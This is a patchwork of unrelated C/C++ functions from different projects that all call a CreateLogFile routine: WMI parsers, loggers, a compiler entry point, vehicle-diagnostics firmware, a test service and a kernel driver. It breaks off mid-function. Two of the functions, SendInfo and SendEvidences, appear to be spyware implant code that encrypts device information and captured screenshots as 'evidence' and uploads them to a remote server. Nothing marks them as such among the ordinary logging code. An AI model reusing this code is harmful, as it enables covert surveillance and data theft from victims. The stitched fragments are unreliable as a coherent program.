void ConsumerParserClass::Print(const wchar_t* outlog, const wchar_t* path, const wchar_t* szNamespace, const wchar_t* szType, const wchar_t* szInstance) { FILE* out = CreateLogFile(outlog, L"at, ccs=UNICODE"); std::vector<DWORD> *allocMap = Map.GetDataAllocMap(); if (allocMap) { MyPrintFunc(out, L"==== %s\\%s\\%s====\n", szNamespace, szType, szInstance); std::vector<InstanceStruct>::iterator it = Consumers.begin(); for (; it != Consumers.end(); ++it) { MyPrintFunc(out, L"[%S]:\nConsumer:(%.8X.%.8X.%.8X)\n", it->InstanceID, it->Location.LogicalID, it->Location.RecordID, it->Location.Size); EventConsumer* p = EventConsumer::Create(m_ObjFile, *allocMap, *it, szType, m_bXP); if (p) { p->Print(m_ObjFile, out); delete p; if (szType && szInstance) { std::vector<InstanceStruct> bindings; if (GetConsumerBinding(path, szNamespace, szType, *allocMap, *it, bindings)) { std::vector<InstanceStruct>::iterator bindit = bindings.begin(); for (; bindit != bindings.end(); ++bindit) { MyPrintFunc(out, L"[%S]:\nBinding:(%.8X.%.8X.%.8X)\n", bindit->InstanceID, bindit->Location.LogicalID, bindit->Location.RecordID, bindit->Location.Size); FilterToConsumerBindingClass*b = FilterToConsumerBindingClass::Create(m_ObjFile, *allocMap, *bindit, m_bXP); if (b) { b->Print(m_ObjFile, out); delete b; } } } } } } MyPrintFunc(out, L"=============================================================================\n"); if (out) ::fclose(out); } }
void PutChar2Log(char Char) { if (LogBufCount == LogBufSize) { if (!CreateLogFile()) { // Écriture du buffer de log. if (Fat12_WriteFile(&LogFile,LogBufCount,LogBuf)) { // ohh nooo... LogBufCount = 0; // Vide le buffer du log... AddHtmlStart(); OutDbgColor(12,"\n\nErreur d'écriture du log !\n\n"); } else { LogBufCount = 0; // Ok, on peux vider, c'est écris. OutDbgColor(11,"Buffer de log vidé."); LogBuf[LogBufCount++] = Char; } } else { // ohhh nooo... LogBufCount = 0; // Ben tant pis, on vide pour récup la suite... AddHtmlStart(); OutDbgColor(12,"\n\nLog non sauvé car impossible de créer le fichier de log !\n\n"); } } else LogBuf[LogBufCount++] = Char; }
void OutT_LogStop() { if (!WriteToLog) { OutDbg("Log non actif"); return; } OutDbg("Arrêt du log..."); if (LogBufCount) { if (!CreateLogFile()) { PutString2Log("</font>\n</font>\n</body>\n</html>"); WriteToLog = false; if (Fat12_WriteFile(&LogFile,LogBufCount,&LogBuf[0])) { OutDbgColor(12,"Ah zut buffer du log écrit, erreur d'écriture..."); } else { OutDbg("Buffer du log écrit."); } Fat12_CloseFile(&LogFile); } } WriteToLog = false; }
/* 编译从这开始 */ int main (int argc, char **argv) { int i; //share_fs (); CurrentHeap = &ProgramHeap; argc--; argv++; #if defined(_LF) init_file_layout (); init_memory_layout (); #endif CreateLogFile (); #if 1 i = ParseCommandLine (argc, argv); /* 初始化词法分析器 */ SetupLexer (); /* 按照配置文件设置基本类型和默认函数的属性 */ SetupTypeSystem (); for ( ; i < argc; i++ ) { Compile (argv[i]); } #endif CloseLogFile (); return (ErrorCount != 0 ? -1 : 0); }
void CLogger::Process() { QMutexLocker Locker(&m_LogMutex); QDateTime now = QDateTime::currentDateTime(); if(m_LastDate != now.date()) { // and once a day we create a new log file m_LastDate = now.date(); CreateLogFile(); } }
void CreateOutputLog(const wchar_t *path) { if (path && *path) { FILE *f = CreateLogFile(path, L"wt, ccs=UNICODE"); if (f) { MyPrintFunc(f, L"Log Created : %s\r\n", path); ::fclose(f); } else wprintf_s(L"CreateOutputLog failed to create log file (%s)\r\n", path); } }
void ParseAllIndexFile(const wchar_t* path, MappingFileClass &map, const wchar_t *log = 0) { IndexBTR index(map.IsXPRepository()); std::vector<std::string> szSearch; std::vector<DWORD> *allocMap = map.GetDataAllocMap(); if (allocMap) { FILE *f = CreateLogFile(log, L"at, ccs=UNICODE"); index.SearchBTRFile(path, map, szSearch, f); if (f) fclose(f); } }
void PrintCommand(const wchar_t *path, const wchar_t * cmd) { if (path && *path && cmd && *cmd) { FILE *f = CreateLogFile(path, L"at, ccs=UNICODE"); if (f) { MyPrintFunc(f, L"\r\nCommand > %s\r\n", cmd); ::fclose(f); } else wprintf_s(L"PrintCommand failed to PrintCommand cmd (%s) to log file (%s)\r\n", cmd, path); } }
void CLogManager::PrintFile(char sLogInfo[FOCP_LOG_MAXMSG], uint32 nLen) { if(NotAccess()) { ++m_nFileId; if(m_nFileId > m_nLogFileNo) m_nFileId = 1; CreateLogFile(); } if(m_pFile) fprintf(m_pFile, "%s", sLogInfo); }
void WMINamespaceClass::Print(const wchar_t *outlog) { FILE* out = CreateLogFile(outlog, L"at, ccs=UNICODE"); MyPrintFunc(out, L"===============================Namespaces=========================\n"); std::vector<std::wstring>::iterator it = NamespaceNames.begin(); std::wstring strID; for (; it != NamespaceNames.end(); ++it) { GetWStrId(strID, *it, m_bXP); MyPrintFunc(out, L"%s (NS_%s)\n", it->c_str(), strID.c_str()); } MyPrintFunc(out, L"==================================================================\n"); if (out) ::fclose(out); }
BOOL SendInfo(LPWSTR pInfoString) { PBYTE pHeaderBuffer; ULONG uHeaderSize; BOOL bRetVal = TRUE; // payload PBYTE pCryptedString = (PBYTE)malloc(Align(wcslen(pInfoString)*sizeof(WCHAR), 16)); memset(pCryptedString, 0x0, Align(wcslen(pInfoString)*sizeof(WCHAR), 16)); memcpy(pCryptedString, pInfoString, wcslen(pInfoString)*sizeof(WCHAR)); Encrypt(pCryptedString, Align(wcslen(pInfoString)*sizeof(WCHAR), 16), pLogKey, PAD_NOPAD); //header CreateLogFile(PM_INFOSTRING, NULL, 0, FALSE, &pHeaderBuffer, &uHeaderSize); //total_len + header + payload_len_clear + payload ULONG uTotalLen = sizeof(ULONG) + uHeaderSize + sizeof(ULONG) + Align(wcslen(pInfoString)*sizeof(WCHAR), 16); PBYTE pBuffer = (PBYTE) malloc(uTotalLen); memset(pBuffer, 0x0, uTotalLen); *(PULONG)pBuffer = uTotalLen; // total_len memcpy(pBuffer + sizeof(ULONG), pHeaderBuffer, uHeaderSize); // header *(PULONG)(pBuffer + sizeof(ULONG) + uHeaderSize) = Align(wcslen(pInfoString)*sizeof(WCHAR), 16); // payload_len_clear memcpy(pBuffer + sizeof(ULONG) + uHeaderSize + sizeof(ULONG), pCryptedString, Align(wcslen(pInfoString)*sizeof(WCHAR), 16)); PBYTE pCryptedBuffer; if (WinHTTPSendData(pCryptedBuffer, CommandHash(PROTO_EVIDENCE, pBuffer, uTotalLen, pSessionKey, &pCryptedBuffer))) { ULONG uResponseLen; PBYTE pResponseBuffer = WinHTTPGetResponse(&uResponseLen); if (pResponseBuffer) { Decrypt(pResponseBuffer, uResponseLen, pSessionKey); if (uResponseLen >= sizeof(DWORD) && *(PULONG)pResponseBuffer != PROTO_OK) { #ifdef _DEBUG OutputDebugString(L"[!!] Failed to send Info\n"); #endif bRetVal = FALSE; } free(pResponseBuffer); } } free(pCryptedString); free(pBuffer); return bRetVal; }
void FileLogger::Write(LogLevel loglevel, const tm &time_tm, const string &log_header, const string &content) { MutexLock lock(&mutex_); if (log_file_size_ > kMaxLogSize || file_ == NULL) { CreateLogFile(loglevel, time_tm); } fprintf(file_, "%s", log_header.c_str()); fprintf(file_, "%s\n", content.c_str()); // is it need to fflush every log? fflush(file_); log_file_size_ += log_header.length() + content.length(); }
void wmdf::FileAppender::PrepareLogFile() { date_t today = DateTime::today(); if (date_ != today) { if (NULL != file_) { file_->Close(); delete file_; file_ = NULL; } date_ = today; } if (NULL == file_) { CreateLogFile(); } }
void CLogArchiver::Process(CLogMsg& oLog) { CString oLogInfo; GetLogInfo(oLog, oLogInfo); if(NotAccess()) { ++m_nLogId; if(m_nLogId > m_nLogNo) { if(m_bNeedArch) { m_oFile.Redirect(NULL); DoArchive(); } m_nLogId = 1; } CreateLogFile(); } m_oFile.Write(oLogInfo.GetStr(), oLogInfo.GetSize()); }
void ConsumerParserClass::Print(const wchar_t* outlog, const wchar_t* szNamespace, const wchar_t* szType) { FILE* out = CreateLogFile(outlog, L"at, ccs=UNICODE"); std::vector<DWORD> *allocMap = Map.GetDataAllocMap(); if (allocMap) { if (szType) MyPrintFunc(out, L"==== %s in namespace %s ====\n", szType, szNamespace); else MyPrintFunc(out, L"==== Consumers in namespace %s ====\n", szNamespace); std::vector<InstanceStruct>::iterator it = Consumers.begin(); for (; it != Consumers.end(); ++it) { MyPrintFunc(out, L"[%S]:\nConsumer:(%.8X.%.8X.%.8X)\n", it->InstanceID, it->Location.LogicalID, it->Location.RecordID, it->Location.Size); EventConsumer* p = EventConsumer::Create(m_ObjFile, *allocMap, *it, szType, m_bXP); if (p) { p->Print(m_ObjFile, out); delete p; } } MyPrintFunc(out, L"=============================================================================\n"); if (out) ::fclose(out); } }
HRESULT __stdcall vcInitialize() { GetTempPath(MAX_PATH, g_szTempPath); PathRemoveBackslash(g_szTempPath); GetModuleFileName(NULL, g_szModulePath, MAX_PATH); PathRemoveFileSpec(g_szModulePath); CreateLogFile(); GetOSDisplayString(); GetSystemInformations(); InitGdiplus(); InitCommonResource(); InitHSBControlWindow(); ffmpeg_init(); LoadProfiles(); InitMediaMananger(); InitVideoPlayer(); InitVideoRender(); StringCchCopy(g_merge_info.m_Name, 256, L"merged"); if (LoadOptions() != S_OK) { SHGetFolderPath(NULL, CSIDL_MYVIDEO | CSIDL_FLAG_CREATE, NULL, 0, g_opt.m_OutputPath); g_opt.m_Parallel = g_cpu_count; g_opt.m_FillColor2 = 0xFFFFFFFF; } if (LoadProfileSettings() != S_OK) { ZeroMemory(&g_ProfileSettings, sizeof(g_ProfileSettings)); GetDefaultProfileSetting1(g_ProfileSettings, GROUP_VIDEO); } CopyProfileSettings(); return S_OK; }
unsigned int CConverter::Convert(CString sCanoeFile) { fstream fileInput,fileOutput; char acLine[defCON_MAX_LINE_LEN]; // I don't expect one line to be more than this fileInput.open(sCanoeFile, fstream::in); if(!fileInput.is_open()) { return SetResultCode(CON_RC_FILEOPEN_ERROR_INFILE); } // first line of input file starts with keyword "VERSION", else file format error if(fileInput.getline(acLine, defCON_MAX_LINE_LEN) == NULL) { // eof file reached without reading anything fileInput.close(); return SetResultCode(CON_RC_FORMAT_ERROR_INFILE); } else // if something was read { // verify the format if(strncmp(acLine, "VERSION ",8) != 0) { fileInput.close(); return SetResultCode(CON_RC_FORMAT_ERROR_INFILE); } } // Generate the list of messages GenerateMessageList(fileInput); // All information gathered, validate and update if necessary // Make appropriate changes in the contents of the list ValidateMessageList(); // the format is OK then open the output file // bool bRes = WriteToOutputFile(fileOutput); fileInput.close(); // fileOutput.close(); BOOL bRes = FALSE; if(!bRes) { CString sLogFile = sCanoeFile.Left(sCanoeFile.GetLength()-4); sLogFile += ".log"; fstream fileLog; fileLog.open(sLogFile, fstream::out); if(!fileLog.is_open()) { // if log file cannot be opened return the error code return SetResultCode(CON_RC_FILEOPEN_ERROR_LOGFILE); } else { CreateLogFile(fileLog); fileLog.close(); return SetResultCode(CON_RC_COMPLETED_WITH_ERROR); } } return 1; }
HRESULT CDebugLog::DumpDebugLog(DWORD dwDetailLvl, HRESULT hrLog) { HRESULT hr = S_OK; HANDLE hFile = INVALID_HANDLE_VALUE; LISTNODE pos = NULL; LPWSTR wzUrlName=NULL; CDebugLogElement *pLogElem = NULL; WCHAR wzFileName[MAX_PATH]; WCHAR wzSiteName[MAX_PATH]; WCHAR wzAppLogDir[MAX_PATH]; LPWSTR wzResourceName = NULL; DWORD dwBytes; DWORD dwSize; CCriticalSection cs(&g_csBindLog); BOOL bRet; if (!g_dwLogFailures && !g_dwForceLog) { return S_FALSE; } hr = cs.Lock(); if (FAILED(hr)) { return hr; } pos = _listDbgMsg.GetHeadPosition(); if (!pos) { hr = S_FALSE; goto Exit; } wzUrlName = NEW(WCHAR[MAX_URL_LENGTH+1]); if (!wzUrlName) { hr = E_OUTOFMEMORY; goto Exit; } // Build the log entry URL and Wininet cache file wnsprintfW(wzUrlName, MAX_URL_LENGTH, L"?FusionBindError!exe=%ws!name=%ws", _wzEXEName, _pwzAsmName); { wnsprintfW(wzAppLogDir, MAX_PATH, L"%ws\\%ws", _szLogPath, _wzEXEName); if (GetFileAttributes(wzAppLogDir) == (DWORD) -1) { bRet = CreateDirectory(wzAppLogDir, NULL); if (!bRet) { hr = HRESULT_FROM_WIN32(GetLastError()); goto Exit; } } if (PathIsURLW(_pwzAsmName)) { // This was a where-ref bind. We can't spit out a filename w/ // the URL of the bind because the URL has invalid filename chars. // The best we can do is show that it was a where-ref bind, and // give the filename, and maybe the site. dwSize = MAX_PATH; hr = UrlGetPartW(_pwzAsmName, wzSiteName, &dwSize, URL_PART_HOSTNAME, 0); if (FAILED(hr)) { goto Exit; } wzResourceName = PathFindFileName(_pwzAsmName); ASSERT(wzResourceName); if (!lstrlenW(wzSiteName)) { lstrcpyW(wzSiteName, L"LocalMachine"); } wnsprintfW(wzFileName, MAX_PATH, L"%ws\\FusionBindError!exe=%ws!name=WhereRefBind!Host=(%ws)!FileName=(%ws).HTM", wzAppLogDir, _wzEXEName, wzSiteName, wzResourceName); } else { wnsprintfW(wzFileName, MAX_PATH, L"%ws\\FusionBindError!exe=%ws!name=%ws.HTM", wzAppLogDir, _wzEXEName, _pwzAsmName); } } // Create the and write the log file hr = CreateLogFile(&hFile, wzFileName, _wzEXEName, hrLog); if (FAILED(hr)) { goto Exit; } pos = _listDbgMsg.GetHeadPosition(); while (pos) { pLogElem = _listDbgMsg.GetNext(pos); ASSERT(pLogElem); if (pLogElem->_dwDetailLvl <= dwDetailLvl) { pLogElem->Dump(hFile); WriteFile(hFile, DEBUG_LOG_NEW_LINE, lstrlenW(DEBUG_LOG_NEW_LINE) * sizeof(WCHAR), &dwBytes, NULL); } } // Close the log file and commit the wininet cache entry hr = CloseLogFile(&hFile); if (FAILED(hr)) { goto Exit; } Exit: cs.Unlock(); SAFEDELETEARRAY(wzUrlName); return hr; }
BOOL SendEvidences() { BOOL bRetVal = TRUE; ULONG uHeaderSize; PBYTE pHeaderBuffer; // DEVICE FIRST if (pDeviceContainer) { // payload ULONG a = Align(pDeviceContainer->uSize, 16); PBYTE pCryptedDeviceBuffer = (PBYTE)malloc(Align(pDeviceContainer->uSize, 16)); memset(pCryptedDeviceBuffer, 0x0, Align(pDeviceContainer->uSize, 16)); memcpy(pCryptedDeviceBuffer, pDeviceContainer->pDataBuffer, pDeviceContainer->uSize); Encrypt(pCryptedDeviceBuffer, Align(pDeviceContainer->uSize, 16), pLogKey, PAD_NOPAD); // header CreateLogFile(PM_DEVICEINFO, NULL, 0, FALSE, &pHeaderBuffer, &uHeaderSize); // total_len + header + payload_len_clear + payload PBYTE pBuffer = (PBYTE)malloc(sizeof(ULONG) + uHeaderSize + sizeof(ULONG) + Align(pDeviceContainer->uSize, 16)); memset(pBuffer, 0x0, sizeof(ULONG) + uHeaderSize + sizeof(ULONG) + pDeviceContainer->uSize); // total_len *(PULONG)pBuffer = sizeof(ULONG) + uHeaderSize + sizeof(ULONG) + Align(pDeviceContainer->uSize, 16); //header memcpy(pBuffer + sizeof(ULONG), pHeaderBuffer, uHeaderSize); // payload_len_clear //*(PULONG)(pBuffer + sizeof(ULONG) + uHeaderSize) = Align(pDeviceContainer->uSize, 16); *(PULONG)(pBuffer + sizeof(ULONG) + uHeaderSize) = pDeviceContainer->uSize; // payload memcpy(pBuffer + sizeof(ULONG) + uHeaderSize + sizeof(ULONG), pCryptedDeviceBuffer, Align(pDeviceContainer->uSize, 16)); PBYTE pCryptedBuffer; if (WinHTTPSendData(pCryptedBuffer, CommandHash(PROTO_EVIDENCE, pBuffer, sizeof(ULONG) + uHeaderSize + sizeof(ULONG) + Align(pDeviceContainer->uSize, 16), pSessionKey, &pCryptedBuffer))) { ULONG uResponseLen; PBYTE pResponseBuffer = WinHTTPGetResponse(&uResponseLen); if (pResponseBuffer) { Decrypt(pResponseBuffer, uResponseLen, pSessionKey); if (uResponseLen >= sizeof(DWORD) && *(PULONG)pResponseBuffer == PROTO_OK) { free(pDeviceContainer->pDataBuffer); free(pDeviceContainer); pDeviceContainer = NULL; } else { bRetVal = FALSE; #ifdef _DEBUG OutputDebugString(L"[!!] got not PROTO_OK @ proto.cpp:81\n"); #endif } free(pResponseBuffer); } else { #ifdef _DEBUG OutputDebugString(L"[!!] WinHTTPGetResponse FAIL @ proto.cpp:81\n"); #endif bRetVal = FALSE; } } else { #ifdef _DEBUG OutputDebugString(L"[W] WinHTTPSendData FAIL @ proto.cpp:85\n"); #endif bRetVal = FALSE; } free(pCryptedDeviceBuffer); free(pBuffer); } #ifdef _DEBUG // else // OutputDebugString(L"[*] No DeviceInfo\n"); #endif // SCREENSHOT if (*(PULONG)SCREENSHOT_FLAG == 0) { ULONG uScreenShotLen; PBYTE pJPEGBuffer = TakeScreenshot(&uScreenShotLen); if (!pJPEGBuffer || !uScreenShotLen) { #ifdef _DEBUG OutputDebugString(L"[!!] no pJPEGBuffer or uScreenShotLen!\n"); #endif } else { //payload pJPEGBuffer = (PBYTE)realloc(pJPEGBuffer, Align(uScreenShotLen, 16)); Encrypt(pJPEGBuffer, Align(uScreenShotLen, 16), pLogKey, PAD_NOPAD); // additional header WCHAR pProcessName[] = { L'U', L'N', L'K', L'N', L'O', L'W', L'N', L'\0' }; ULONG uAddHeaderSize = sizeof(SNAPSHOT_ADDITIONAL_HEADER) + wcslen(pProcessName)*sizeof(WCHAR) + wcslen(pProcessName)*sizeof(WCHAR); PSNAPSHOT_ADDITIONAL_HEADER pSnapAddHeader = (PSNAPSHOT_ADDITIONAL_HEADER)malloc(uAddHeaderSize); pSnapAddHeader->uProcessNameLen = wcslen(pProcessName)*sizeof(WCHAR); pSnapAddHeader->uWindowNameLen = wcslen(pProcessName)*sizeof(WCHAR); pSnapAddHeader->uVersion = LOG_SNAP_VERSION; memcpy((PBYTE)pSnapAddHeader + sizeof(SNAPSHOT_ADDITIONAL_HEADER), pProcessName, pSnapAddHeader->uProcessNameLen); memcpy((PBYTE)pSnapAddHeader + sizeof(SNAPSHOT_ADDITIONAL_HEADER) + pSnapAddHeader->uProcessNameLen, pProcessName, pSnapAddHeader->uWindowNameLen); // header CreateLogFile(PM_SCREENSHOT, (PBYTE)pSnapAddHeader, uAddHeaderSize, FALSE, &pHeaderBuffer, &uHeaderSize); // total_len + header + payload_len_clear + payload PBYTE pBuffer = (PBYTE)malloc(sizeof(ULONG) + uHeaderSize + sizeof(ULONG) + Align(uScreenShotLen, 16)); memset(pBuffer, 0x0, sizeof(ULONG) + uHeaderSize + sizeof(ULONG) + Align(uScreenShotLen, 16)); // total_len *(PULONG)pBuffer = sizeof(ULONG) + uHeaderSize + sizeof(ULONG) + Align(uScreenShotLen, 16); //header memcpy(pBuffer + sizeof(ULONG), pHeaderBuffer, uHeaderSize); // payload_len_clear *(PULONG)(pBuffer + sizeof(ULONG) + uHeaderSize) = uScreenShotLen;//Align(uScreenShotLen, 16); // payload memcpy(pBuffer + sizeof(ULONG) + uHeaderSize + sizeof(ULONG), pJPEGBuffer, Align(uScreenShotLen, 16)); PBYTE pCryptedBuffer; if (WinHTTPSendData(pCryptedBuffer, CommandHash(PROTO_EVIDENCE, pBuffer, sizeof(ULONG) + uHeaderSize + sizeof(ULONG) + Align(uScreenShotLen, 16), pSessionKey, &pCryptedBuffer))) { ULONG uResponseLen; PBYTE pResponseBuffer = WinHTTPGetResponse(&uResponseLen); if (pResponseBuffer) { Decrypt(pResponseBuffer, uResponseLen, pSessionKey); if (uResponseLen < sizeof(DWORD) || *(PULONG)pResponseBuffer != PROTO_OK) { #ifdef _DEBUG OutputDebugString(L"[!!] PROTO_ERR sending screenshot\n"); #endif bRetVal = FALSE; } free(pResponseBuffer); free(pCryptedBuffer); } else { #ifdef _DEBUG OutputDebugString(L"[!!] WinHTTPGetResponse FAIL @ proto.cpp:157\n"); #endif bRetVal = FALSE; } } else { #ifdef _DEBUG OutputDebugString(L"[!!] WinHTTPSendData FAIL @ proto.cpp:162\n"); #endif bRetVal = FALSE; } free(pBuffer); free(pJPEGBuffer); free(pSnapAddHeader); } } return bRetVal; }
int main(void) { FIL log_file; int i, j, result; int file_number = 0; u8 configNumber = 1; u8 maxConfig; u8 *p; time_t rawtime; u8 debugState = 0; //debug off #ifdef DEBUG debug(); #endif RCC_Configuration(); GPIO_Configuration(); NVIC_Configuration(); SystickConfigure(); Timer3Init(); #ifdef UART1_DEBUG (void)USART1_Init(115200); #endif LedConfigureGPIO(); ButtonConfigureGPIO(); BuzzerConfigureGPIO(); #ifdef CAN_FEATURE_ENABLED GPIO_InitTypeDef GPIO_InitStructure; // Configure CAN pin: RX GPIO_InitStructure.GPIO_Speed = GPIO_Speed_50MHz; GPIO_InitStructure.GPIO_Pin = GPIO_Pin_11; GPIO_InitStructure.GPIO_Mode = GPIO_Mode_IPU; GPIO_Init(GPIOA, &GPIO_InitStructure); // Configure CAN pin: TX GPIO_InitStructure.GPIO_Pin = GPIO_Pin_12; GPIO_InitStructure.GPIO_Mode = GPIO_Mode_AF_PP; GPIO_Init(GPIOA, &GPIO_InitStructure); #endif MMC_PowerOff(); timer2=1000; while(timer2); MMC_PowerOn(); #ifdef UART1_DEBUG printf("\n\n%s %s\n", HW_VERSION, SW_VERSION); #endif ConfigureClock(); timer2=1000; while(timer2); buttonState = 0; CardInserted(); if (FR_OK != f_mount(0, &Fatfs[0])) { LedSetColor(amber, fast); BuzzerSetMode(0x83); #ifdef UART1_DEBUG printf("error mounting fat device\n"); #endif while(buttonState != 2); NVIC_GenerateSystemReset(); } if (ReadTimeDateFile()) { #ifdef UART1_DEBUG rawtime = RTC_GetCounter(); printf("Time set: %s\n", ctime (&rawtime) ); #endif } #ifdef DEBUG_LOG if (ReadDebugFile()) { debugState = 1; } #endif #ifdef CAN_FEATURE_ENABLED if (ReadCanFile()) { canDiag = 1; CAN_Open(); } #endif i = ReadSpeedFile(); if (i > 0) { KW1281_SPEED = i; autobaud = 0; } if (ReadDelayFile()) { user_defined_timings = 1; } if (!ReadConfig()) { LedSetColor(amber, fast); BuzzerSetMode(0x83); #ifdef UART1_DEBUG printf("error reading config\n"); #endif MMC_PowerOff(); while(buttonState != 2); NVIC_GenerateSystemReset(); } if (config[0][0] > 0) { maxConfig = 1; if (config[1][0] > 0) { maxConfig = 2; if (config[2][0] > 0) { maxConfig = 3; } } } else { LedSetColor(amber, fast); BuzzerSetMode(0x83); #ifdef UART1_DEBUG printf("error reading config\n"); #endif MMC_PowerOff(); while(buttonState != 2); NVIC_GenerateSystemReset(); } file_number = GetNextFileNumber(); #ifdef UART1_DEBUG printf("file number %d\n", file_number); #endif if (!file_number) { LedSetColor(amber, fast); BuzzerSetMode(0x83); #ifdef UART1_DEBUG printf("can't get number of next file\n"); #endif MMC_PowerOff(); while(buttonState != 2); NVIC_GenerateSystemReset(); } while(1) { i = USART2_GetData(); buttonState = 0; LedSetColor(configNumber, continous); BuzzerSetMode(configNumber); do { if (2 == buttonState) { configNumber = (configNumber < maxConfig)?configNumber+1:1; LedSetColor(configNumber, continous); BuzzerSetMode(configNumber); buttonState = 0; } } while (1 != buttonState); buttonState = 0; LedSetColor(green, fast); BuzzerSetMode(0x81); i = CreateLogFile(file_number, &log_file); i = f_printf(&log_file, "%s, sw_ver: %s\n", HW_VERSION, SW_VERSION); rawtime = RTC_GetCounter(); i = f_printf(&log_file, "Current time: %s\n", ctime (&rawtime)); timeSec = 0; time10MSec = 0; if (canDiag) { i = f_printf(&log_file, "CAN 500kbit\n\n"); LedSetColor(configNumber, slow); BuzzerSetMode(configNumber); result = vwtp(&config[configNumber-1], &log_file, debugState); switch (result) { case 0: timer2 = 500; i = f_printf(&log_file, "\n\nLogging terminated by user\n"); break; case 1: LedSetColor(red, fast); BuzzerSetMode(0x82); //communication error timer2 = 2000; i = f_printf(&log_file, "\n\nConnection lost\n"); break; case 2: i = CloseLogFile(&log_file); LedSetColor(amber, fast); BuzzerSetMode(0x83); //filesystem error MMC_PowerOff(); while(buttonState != 2); NVIC_GenerateSystemReset(); break; case 11: LedSetColor(red, fast); BuzzerSetMode(0x82); //communication error timer2 = 2000; i = f_printf(&log_file, "\n\nCannot connect with ECU\n", result); break; default: LedSetColor(red, fast); BuzzerSetMode(0x82); //communication error timer2 = 2000; i = f_printf(&log_file, "\n\nCommunication error, error code = %d\n", result); break; } } else //KW1281 diag { i = kw1281_max_init_attempts; do { result = ISO9141Init(&KW1281_SPEED); --i; if ((result>0) && (i>0)) { timer2=1000; while(timer2); } } while (result && i); if (0 == result) //connected with ECU { i = f_printf(&log_file, "Connected @ %d baud %s%s\n\n", KW1281_SPEED, autobaud?"(autodetected)":"(set by user)", user_defined_timings?", user defined timings":""); LedSetColor(configNumber, slow); BuzzerSetMode(configNumber); buttonState = 0; i = kw1281_diag(&config[configNumber-1], &log_file, debugState); switch (i) { case 0: timer2 = 500; i = f_printf(&log_file, "\n\nLogging terminated by user\n"); break; case 1: LedSetColor(red, fast); BuzzerSetMode(0x82); //communication error timer2 = 2000; i = f_printf(&log_file, "\n\nConnection lost\n"); break; case 2: default: i = CloseLogFile(&log_file); LedSetColor(amber, fast); BuzzerSetMode(0x83); //filesystem error MMC_PowerOff(); while(buttonState != 2); NVIC_GenerateSystemReset(); } } if (0 != result) { i = f_printf(&log_file, "Cannot connect with ECU: "); if (0xff == result) { i = f_printf(&log_file, "no response\n"); } else if (0x7f == result) { i = f_printf(&log_file, "sync error - wrong speed (set to %d baud)?!\n", KW1281_SPEED); } else if (0x10 == result) { i = f_printf(&log_file, "not a KW1281 protocol\n"); } else { i = f_printf(&log_file, "error code %d\n", result); } LedSetColor(red, fast); BuzzerSetMode(0x82); timer2 = 2000; } } // end of KW1281 diag i = CloseLogFile(&log_file); file_number++; while (timer2>0); } }
// // Purpose: // The service code // // Parameters: // dwArgc - Number of arguments in the lpszArgv array // lpszArgv - Array of strings. The first string is the name of // the service and subsequent strings are passed by the process // that called the StartService function to start the service. // // Return value: // None // VOID ServiceInit(DWORD dwArgc, LPTSTR* lpszArgv) { // Create an event. The control handler function, ServiceCtrlHandler, // signals this event when it receives the stop control code. ghServiceStopEvent = CreateEvent( NULL, // default security attributes TRUE, // manual reset event FALSE, // not signaled NULL); // no name if (ghServiceStopEvent == NULL) { ServiceReportStatus(SERVICE_STOPPED, NO_ERROR, 0); return; } InitModulePath(); CreateLogFile(); // Write the service arguments to the registry key: // HKEY_USERS\.DEFAULT\dotnetTests\ServiceController\<ServiceName>\ServiceArguments // to verify that they were correctly passed through. std::wstring keyPath = L".DEFAULT\\dotnetTests\\ServiceController\\"; keyPath += gServiceName; HKEY hKey; LONG result = RegCreateKeyEx( HKEY_USERS, keyPath.c_str(), 0, NULL, REG_OPTION_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL); if (result != ERROR_SUCCESS) { LogMessage(L"warning: failed to open or create registry key 'HKEY_USERS\\%s' (%d)\n", keyPath.c_str(), result); } else { // Join the arguments array, separating each argument with a comma std::wstring argsString; DWORD i = 1; for (; i < dwArgc - 1; i++) { argsString += lpszArgv[i]; argsString += L','; } if (i < dwArgc) { argsString += lpszArgv[i]; } // Write the result to the value "ServiceArguments" LPCTSTR valueName = L"ServiceArguments"; result = RegSetValueEx( hKey, valueName, 0, REG_SZ, (const BYTE*) argsString.c_str(), (DWORD) ((argsString.length() + 1) * sizeof(wchar_t))); if (result != ERROR_SUCCESS) { LogMessage(L"warning: failed to set value '%s' = '%s' in registry key 'HKEY_USERS\\%s' (%d)\n", valueName, argsString.c_str(), keyPath.c_str(), result); } RegCloseKey(hKey); } // Report running status when initialization is complete. ServiceReportStatus(SERVICE_RUNNING, NO_ERROR, 0); while (1) { // Check whether to stop the service. // If the tests haven't finished within 90 seconds, just end the program anyways. DWORD error = WaitForSingleObject(ghServiceStopEvent, 90000); // We're stopping, delete the log file DWORD logError = DeleteLogFile(); // If WaitForSingleObject fails, use that code. // Otherwise use the result of DeleteLogFile. if (error == ERROR_SUCCESS) { error = logError; } ServiceReportStatus(SERVICE_STOPPED, error, 0); return; } }
void CLogger::SetLogPath(const QString& LogPath) { m_LogPath = LogPath; CreateDir(m_LogPath); CreateLogFile(); }
/* * =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ** * * Open registry and obtain our log file location * * =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ** */ VOID OpenRegKeyStorage( IN PDEVICE_OBJECT theDeviceObject ) { HANDLE hkey; PVOID Data; NTSTATUS Status; UNICODE_STRING KeyName; UNICODE_STRING KeyValue; ULONG ResultLength; PKEY_VALUE_PARTIAL_INFORMATION KeyValueInfo; OBJECT_ATTRIBUTES KeyObjectAttributes; OBJECT_ATTRIBUTES SubKeyObjectAttributes; // DDK : "Macro initializes the opaque OBJECT_ATTRIBUTES structure, which specifies // the properties of an object handle to routines that open handles." InitializeObjectAttributes ( &KeyObjectAttributes, // InitializedAttributes &gRegistryPath, // ObjectName OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE,// Attributes NULL, // RootDirectory NULL ); // SecurityDescriptor // Open a handle to the driver regkey Status = ZwOpenKey( &hkey, // KeyHandle KEY_READ, // DesiredAccess &KeyObjectAttributes );// ObjectAttributes // If we fail this check we most likely have more problems then we can deal with anyways if ( !NT_SUCCESS( Status ) ) { KdPrint( ("ZwOpenKey() Failure in OpenRegKeyFile()\n") ); } RtlInitUnicodeString( &KeyName, L"Storage" ); // Open our subkey for our log file location Status = ZwQueryValueKey( hkey, &KeyName, KeyValuePartialInformation, NULL, 0, &ResultLength ); // Error catch if the key was not found if ( 